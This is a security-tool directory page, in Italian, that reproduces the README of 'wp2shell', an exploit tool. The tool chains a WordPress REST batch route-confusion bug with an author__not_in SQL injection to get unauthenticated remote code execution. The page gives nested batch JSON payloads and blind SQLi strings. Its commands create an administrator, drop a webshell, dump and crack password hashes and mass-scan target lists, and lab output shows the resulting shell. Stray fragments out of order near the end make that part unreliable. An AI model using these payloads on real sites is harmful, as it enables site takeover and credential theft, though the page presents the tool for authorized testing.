Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
wp2shell — CVE-2026-63030 + CVE-2026-60137 - “wp2shell”: RCE non autenticata nel core di WordPress | Kitploit
Strumenti/GitHubGitHub/0xsha/wp2shell
Password CrackingAnalisi delle VulnerabilitàExploitSfruttamento di Applicazioni WebPenetration TestingCommand and ControlApprendimento e FormazioneRed TeamingSviluppo PayloadLab e Pratica
GitHub0xsha/wp2shell
96301 mese faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

wp2shell

CVE-2026-63030 + CVE-2026-60137 - “wp2shell”: RCE non autenticata nel core di WordPress

Vedi Repository

CVE-2026-63030 + CVE-2026-60137 - “wp2shell”: RCE non autenticata nel core di WordPress

REST API confusione di route batch (CVE-2026-63030) combinata con un'iniezione SQL author__not_in in WP_Query (CVE-2026-60137) → esecuzione remota di codice pre-autenticazione su un'installazione WordPress predefinita.

Scoperta da Adam Kues (Assetnote / Searchlight Cyber), divulgata il 2026-07-17. Advisory: GHSA-ff9f-jf42-662q, GHSA-fpp7-x2x2-2mjf.

Catena (RCE non autenticata)WordPress 6.9.0 - 6.9.4 e 7.0.0 - 7.0.1
Solo SQLi (richiede un plugin/tema facilitatore)6.8.0 - 6.8.5
Non vulnerabili≤ 6.8 per la confusione di batch; 6.9.5 / 7.0.2 / 7.1-beta2 (corrette)
PrerequisitiAPI REST raggiungibile; nessuna cache di oggetti persistente (Redis/Memcached); almeno 1 articolo pubblicato
Autenticazione richiestanessuna
Impattonon autenticato → creare un nuovo amministratore → esecuzione di codice (la SQLi esfiltra anche l'hash dell'amministratore)

Demo

https://github.com/user-attachments/assets/7f9cc52c-3f31-4339-9192-e31e506684f6

Cosa aggiunge questo repository

  • Un tool originale, solo libreria standard (wp2shell.py), che unifica il meglio di sei PoC pubblici in un unico file, senza dipendenza da requests e senza funzionalità rotte.
  • La RCE completa senza crack, verificata end-to-end in laboratorio: shell senza credenziali forgia un falso WP_Post tramite la confusione UNION del singolo post, usa il customizer come ponte per creare un nuovo amministratore (POST /wp/v2/users), accede e rilascia una webshell protetta da token. Il dump dell'hash admin tramite SQLi (read --preset users) è mantenuto come secondo percorso verificato.
  • Un rilevatore di confusione indipendente dalla versione (block_cannot_read), usato come check primario e non distruttivo.
  • Trasporto production-oriented su ogni comando: TLS autofirmato, header personalizzati, User-Agent personalizzato, proxy, retry, ritardo di richiesta.
  • Un percorso SQLi facilitato per 6.8.x (sqli) verificato, che gli altri PoC non hanno.
  • Lab Docker riproducibili più una matrice di affidabilità versione × DB, con ogni risultato verificato in laboratorio.
  • La modalità hashcat per il nuovo hash password $wp$2y$ (-m 35500).
root@kitploit:~
wp2shell/
├── README.md              ← you are here
├── wp2shell.py            ← the unified PoC (single file, stdlib only, by 0xsha)
└── lab/                   ← reproducible Docker labs + reliability matrix
    ├── docker-compose.yml         (default 6.9.4 lab)
    ├── docker-compose.matrix.yml  (parameterised: any version × MySQL/MariaDB)
    ├── docker-compose.sqli.yml    (6.8.3 "SQLi only" lab)
    ├── matrix.sh                  (runs the whole reliability matrix)
    └── sqli-only/facilitator.php  (mu-plugin: the 6.8.x facilitating sink)

I sei PoC pubblici da cui questo tool attinge non sono inclusi qui; sono collegati in Crediti.

Tutto ciò che segue è stato verificato nel lab Docker locale (vedi §4); le affermazioni che non sono state eseguite in laboratorio sono etichettate come tali.


1. Dettagli della vulnerabilità - analisi approfondita del codice

La catena salda due bug indipendenti. I numeri di riga provengono dal codice sorgente reale di WordPress 6.9.4 (estratto da wordpress:6.9.4-apache).

Bug A - Iniezione SQL author__not_in (CVE-2026-60137)

wp-includes/class-wp-query.php, WP_Query::get_posts():

root@kitploit:~
2403  if ( ! empty( $query_vars['author__not_in'] ) ) {
2404      if ( is_array( $query_vars['author__not_in'] ) ) {                 // ← guard only fires for ARRAYS
2405          $query_vars['author__not_in'] = array_unique( array_map( 'absint', $query_vars['author__not_in'] ) );
2406          sort( $query_vars['author__not_in'] );
2407      }
2408      $author__not_in = implode( ',', (array) $query_vars['author__not_in'] );   // ← string passes straight through
2409      $where         .= " AND {$wpdb->posts}.post_author NOT IN ($author__not_in) ";  // ← raw interpolation
2410  } elseif ( ! empty( $query_vars['author__in'] ) ) {
...
2415      $author__in = implode( ',', array_map( 'absint', array_unique( (array) $query_vars['author__in'] ) ) );  // ← absint INSIDE implode

Un author__not_in di tipo stringa salta il controllo is_array() (2404); implode(',', (array)"…") lo restituisce invariato (2408) e viene concatenato grezzo nella SQL (2409). Il gemello author__in (2415) riapplica array_map('absint', …) dentro la implode ed è sicuro: quel array_map mancante è il bug. Il valore finisce come ... post_author NOT IN (<valore>) ..., quindi 0) <sql>-- - chiude la lista e aggiunge SQL.

Ottenere una stringa lì è la parte difficile: l'endpoint REST dei post mappa author_exclude → author__not_in (class-wp-rest-posts-controller.php:247) ma lo dichiara 'type' => 'array' di interi, quindi il core converte/rifiuta una stringa:

root@kitploit:~
GET /wp-json/wp/v2/posts?author_exclude=1) OR SLEEP(3)-- -
→ 400 "author_exclude[0] is not of type integer."      (verified on 6.8.3)

Ecco perché il Bug A da solo è solo “facilitato”. Il Bug B fa passare la stringa oltre la validazione su 6.9+.

Bug B - Confusione di route del batch REST (CVE-2026-63030)

wp-includes/rest-api/class-wp-rest-server.php, serve_batch_request_v1():

root@kitploit:~
1720  if ( false === $parsed_url ) {
1721      $requests[] = new WP_Error( 'parse_path_failed', … );   // a bad path becomes a WP_Error IN $requests

1749  foreach ( $requests as $single_request ) {
1750      if ( is_wp_error( $single_request ) ) {
1752          $validation[] = $single_request;     // ← pushed to $validation …
1753          continue;                            // ← … but $matches is SKIPPED
1754      }
1757      $matches[] = $match;                     // ← $matches only grows for VALID requests

1825  foreach ( $requests as $i => $single_request ) {   // indexed by position in $requests
1841      $match = $matches[ $i ];                        // ← $matches is SHORTER → +1 shift
1861      $result = $this->respond_to_request( $single_request, $route, $handler, $error );

Una sub-request WP_Error viene inserita in $validation[] (1752) ma non in $matches[] (il continue a 1753 salta 1757), quindi $matches è più corto e $matches[$i] (1841) contiene l'handler della successiva request. La request i viene inviata con l'handler della request i+1, portando i propri parametri e il proprio verdetto di validazione (superato).

Origine della regressione (verificata con diff 6.8.3 → 6.9.4): in 6.8.3 il ciclo inserisce $matches[] = $match per ogni request e i percorsi errati vengono scartati nel primo ciclo: gli array restano allineati, nessun desync. Il refactoring di 6.9.0 ha introdotto lo scarto. È esattamente il motivo per cui 6.8.x è “solo SQLi” e la catena RCE inizia dalla 6.9.0.

Il fix documentato (6.9.5 / 7.0.2)

La patch aggiunge $matches[] anche per le voci di errore, indurisce la rientranza (re-entrancy) e analizza author__not_in con un helper per liste di ID. (6.9.5 non era su Docker Hub al momento del test, quindi questa informazione proviene dagli advisory, non da un diff di laboratorio.)


2. Metodo di sfruttamento

2.1 La doppia confusione di route

Lo schema batch consente solo sub-request POST/PUT/PATCH/DELETE, ma get_items dei post (il sink author_exclude) è solo GET, quindi la confusione viene annidata due volte:

root@kitploit:~
// OUTER batch → POST /wp-json/batch/v1
{"requests": [
  {"method":"POST","path":"///"},                       // [0] bad path → WP_Error → +1 shift
  {"method":"POST","path":"/wp/v2/posts",               // [1] carrier: validated as a posts CREATE →
     "body": { /* INNER batch */ }},                     //     its `requests` body is never schema-checked
  {"method":"POST","path":"/batch/v1",                  // [2] handler → [1] dispatched as serve_batch_request_v1
     "body":{"requests":[]}}                             //     (no permission_callback → unauthenticated)
]}
// INNER batch (GET now allowed):
//   [0] POST ///                                        WP_Error → inner +1 shift
//   [1] GET /wp/v2/users?author_exclude=<PAYLOAD>       users has no author_exclude → PAYLOAD passes untouched
//   [2] GET /wp/v2/posts                                [2]'s handler = posts get_items → runs [1] → SQLi

/// è il primer del desync (funziona qualsiasi percorso che wp_parse_url() rifiuta). Il tool include anche una versione --variant categories dello stesso trucco.

2.2 Rilevare la confusione senza la SQLi

Una singola sonda non distruttiva e indipendente dalla versione conferma CVE-2026-63030 anche quando il sink SQLi è in cache di oggetti o filtrato da WAF: un batch di sub-request POST in cui il desync fa sì che POST /wp/v2/posts riceva risposta dalla callback di autorizzazione del block-renderer:

root@kitploit:~
responses[1].code == "block_cannot_read"    ← a permission error from a handler it never asked for

wp2shell.py check usa questo come segnale primario (con la forma strutturale post-vs-term come fallback). (Tecnica di rilevamento: Hadrian / Icex0.)

2.3 Dall'iniezione ai dati (alla cieca)

Il valore si trova dentro NOT IN (<valore>), un oracolo booleano pulito: 0) AND (<cond>)-- - restituisce righe se e solo se <cond> è vera. L'estrazione è una ricerca binaria carattere per carattere su ASCII(SUBSTRING(COALESCE((expr),''),n,1)) (la COALESCE evita che un NULL cortocircuiti in una lettura vuota).

Nota di laboratorio - il time-based richiede attenzione. Un ingenuo 0) OR SLEEP(n)-- - non produce alcun ritardo su un'installazione predefinita: le righe pubblicate soddisfano prima la query e cortocircuitano l'OR. La conferma è un differenziale booleano deterministico; il timing usa 0) AND (SELECT 1 FROM (SELECT SLEEP(n))_z)-- -. Rilevato 0.01s contro 3.04s.

2.4 Dall'iniezione alla shell (RCE) - senza crack

La RCE pratica non richiede né password né cracking. shell senza credenziali esegue l'intera catena, tutta verificata in laboratorio:

  1. Primitiva del falso WP_Post. Una seconda variante di confusione raggiunge una query pulita e utilizzabile con UNION: /wp/v2/posts/999999?orderby=none&per_page=500 viene validata contro lo schema del singolo post (quindi i parametri solo-collezione passano senza controlli), poi viene desincronizzata sull'handler della collezione dei post. orderby=none rimuove l'ORDER BY finale e per_page=500 mantiene WP_Query in modalità riga completa, così una UNION SELECT sopravvive come riga wp_posts fabbricata.
  2. Ponte SQLi-customizer. Forgia righe oembed_cache + customize_changeset (con user_id impostato sull'ID di un admin esistente, letto tramite la UNION) + nav_menu_item. Attivare l'oEmbed fa eseguire la changeset del customizer .

Alternativa precedente (--user/--password). read --preset users esfiltra wp_users.user_pass (il $wp$2y$… di WordPress 6.9 = bcrypt su HMAC-SHA384; crack con hashcat -m 35500), poi shell --user/--password accede con il testo in chiaro recuperato. È reale, ma bcrypt la rende lenta, quindi la catena di creazione admin sopra è il percorso canonico.

2.5 Il percorso “solo SQLi” per 6.8.x

6.8.x ha il Bug A ma non il Bug B, e il core converte author_exclude in un array di interi, quindi la SQLi è raggiungibile solo tramite un plugin/tema facilitatore che passa a WP_Query una stringa grezza. Il sottocomando sqli inietta direttamente in un sink del genere (time-based di default; boolean veloce con --true-contains). Dimostrato contro il facilitatore lab/sqli-only su 6.8.3.


3. Utilizzo

3.1 Il PoC unificato - wp2shell.py

File singolo, Python 3.7+, solo libreria standard. Trasporto pronto per la produzione su ogni comando: --insecure (TLS autofirmato), -H 'K: V' (ripetibile), --user-agent, --proxy, --retries, --delay.

root@kitploit:~
check   fingerprint + confusion marker + confirm the SQLi (non-destructive)
read    read the DB via blind SQLi     (--preset fingerprint|users | --query "SELECT …")
shell   RCE: admin login → token-gated plugin webshell → run commands (-i for a REPL)
sqli    author__not_in SQLi against a direct/facilitated sink (6.8.x, or any plugin sink)
scan    threaded vuln-check over a single URL OR a .txt list   (--prove, --json)
root@kitploit:~
./wp2shell.py check https://target
./wp2shell.py read  https://target --preset users            # logins + $wp$2y$ hashes (+ hashcat hint)
./wp2shell.py read  https://target --query "SELECT @@version"
./wp2shell.py shell https://target --cmd id                  # crack-free: creates an admin, then webshell
./wp2shell.py shell https://target -i                        # interactive shell
./wp2shell.py shell https://target --user admin --password '<cracked>' --cmd id   # or reuse an existing admin
./wp2shell.py scan  https://target --prove                   # single URL, extract @@version as proof
./wp2shell.py scan  targets.txt --threads 10 --json out.json # a .txt of targets
./wp2shell.py sqli  https://target --endpoint '/?plugin_route=1' --param author_not_in --true-contains ROWS:YES

# prod knobs: self-signed TLS, WAF header, Burp, rate-limit
./wp2shell.py check https://target --insecure -H 'X-Forwarded-For: 127.0.0.1' --proxy http://127.0.0.1:8080 --delay 0.2

3.2 Il laboratorio

root@kitploit:~
# default vulnerable lab (WordPress 6.9.4 + MariaDB), http://localhost:8080
docker compose -f lab/docker-compose.yml up -d
docker compose -f lab/docker-compose.yml logs -f wpcli      # wait for "LAB READY"
./wp2shell.py check http://localhost:8080
docker compose -f lab/docker-compose.yml down -v

bash lab/matrix.sh                                           # full version × DB matrix

# "SQLi only" lab (6.8.3 + facilitating mu-plugin), http://localhost:8082
docker compose -f lab/docker-compose.sqli.yml up -d
./wp2shell.py sqli http://localhost:8082 --endpoint '/?wp2shell_faccheck=1' \
     --param author_not_in --true-contains ROWS:YES --preset fingerprint

L'admin del lab è admin / Admin!2345 - il plaintext è noto solo perché il lab possa dimostrare la shell post-autenticazione; un attaccante reale recupera l'hash e lo cracka.


4. Version & DB matrix - cosa abbiamo effettivamente testato

L'ambito DB è limitato a MySQL e MariaDB - il core di WordPress non parla nessun altro motore in produzione (nessun driver PostgreSQL/MSSQL; SQLite solo tramite un plugin raro).

Ogni comando è stato esercitato in laboratorio: check (marcatore block_cannot_read + boolean + time), read (fingerprint / users / --query), shell (create-admin senza crack → login → webshell → uid=33(www-data), più --user/--password e REPL interattivo), sqli (boolean + time), scan (URL singolo + .txt + --json + --prove), il payload --variant categories, l'auto-rilevamento dell'endpoint (/wp-json/ + ) e i flag di trasporto.

root@kitploit:~
$ ./wp2shell.py check http://localhost:8080
[+] Batch endpoint reachable and unauthenticated (HTTP 207) at http://localhost:8080/wp-json/batch/v1
[+] Route confusion ACTIVE - categories request answered by the block-renderer handler (block_cannot_read); CVE-2026-63030 confirmed.
[+] SQL injection CONFIRMED - boolean-blind differential over author__not_in (CVE-2026-60137).
[+] Time-based channel also confirmed - baseline 0.02s vs injected 3.04s.

$ ./wp2shell.py read http://localhost:8080 --preset users
[+] 1|admin|$wp$2y$10$IUUVXuWQ45USOc/rkRAcduAEvyYmHNabvfWFBMq5ApR9RGau6Fxx.
[*] crack the $wp$2y$ hashes with:  hashcat -m 35500 …

$ ./wp2shell.py shell http://localhost:8080 --cmd id
[*] No credentials supplied - creating a fresh administrator pre-auth (no hash, no crack) ...
[+] Administrator created: wp2_950eeb3deda8 / Wp2!...  (borrowed admin id 1)
[+] Authenticated.
uid=33(www-data) gid=33(www-data) groups=33(www-data)

5. Crediti

  • Ricerca e divulgazione della vulnerabilità: Adam Kues - Assetnote / Searchlight Cyber (“wp2shell”), 2026-07-17.
  • Advisory: GHSA-ff9f-jf42-662q, GHSA-fpp7-x2x2-2mjf. Approfondimenti: Rapid7, Beazley Labs, Hadrian (l'idea del rilevamento block_cannot_read), VulnCheck.
  • Crediti per le tecniche (ognuna reimplementata da zero in wp2shell.py, nessun codice copiato alla lettera):
    • attackercan/wp2shell-poc2 - nucleo verificato della doppia confusione annidata, estrattore blind, webshell protetta da token + REPL.
    • sergiointel/wp2shell-poc - la tecnica di creazione admin pre-auth senza crack: crea un falso WP_Post tramite la confusione di route del singolo post, orchestra un grafo oembed_cache + customize_changeset (user_id=admin) + così che il customizer venga eseguito come un admin esistente, poi per creare un nuovo amministratore.

Uso legale / autorizzato

Solo per test di sicurezza autorizzati e formazione - sistemi di tua proprietà o per i quali hai un'autorizzazione scritta. Tutto lo sfruttamento qui presente è stato eseguito contro un lab Docker locale, usa e getta; la webshell è protetta da token e il comando predefinito è innocuo. Sei responsabile di come usi questo strumento.

Scarica lo strumento
come quell'admin
  • Crea un nuovo admin. Nello stesso batch, POST /wp/v2/users con roles:["administrator"] ora riesce sotto il contesto admin preso in prestito, e un nuovo amministratore wp2_* appare in wp_users (verificato: una nuova riga admin).
  • Login + webshell. Autenticati con le credenziali generate, carica un plugin protetto da token tramite update.php?action=upload-plugin, esegui comandi. Verificato: uid=33(www-data).
  • WordPressMotore DBPercorsocheckDati estratti
    6.9.4MariaDB 11catena batch✅ RCE completahash admin $wp$2y$… + @@version
    7.0.1MariaDB 11catena batch✅ RCE completahash admin
    6.9.4MySQL 8.4catena batch✅ RCE completahash admin (payload portabili)
    6.8.3MariaDB 11catena batch⛔ 207 ma nessuna confusione- (coerente con l'advisory)
    6.8.3MariaDB 11sqli facilitato✅ CVE-2026-60137@@version, user, db - boolean e time-based
    ?rest_route=
    nav_menu_item
    POST /wp/v2/users
  • Icex0/wp2shell-poc - l'implementazione di quella catena che ho adattato (union_inject confusione su singolo post, UnionSQLi, PreAuthAdminCreator), il rilevatore del marcatore block_cannot_read, l'estrazione COALESCE null-safe e il timing resistente al jitter.
  • Senanfurkan/wordpress-cve-2026-63030 - fingerprint/classificazione di versione e il test strutturale della confusione di route.
  • Lutfifakee-Project/wp2shell - scansione di massa.
  • NULL200OK/WP2Shell - report JSON.
  • ekomsSavior/wp2shell - ispirazione per la UX interattiva.
  • Modalità di cracking degli hash ($wp$2y$ → hashcat -m 35500): hashpwn / hashcat.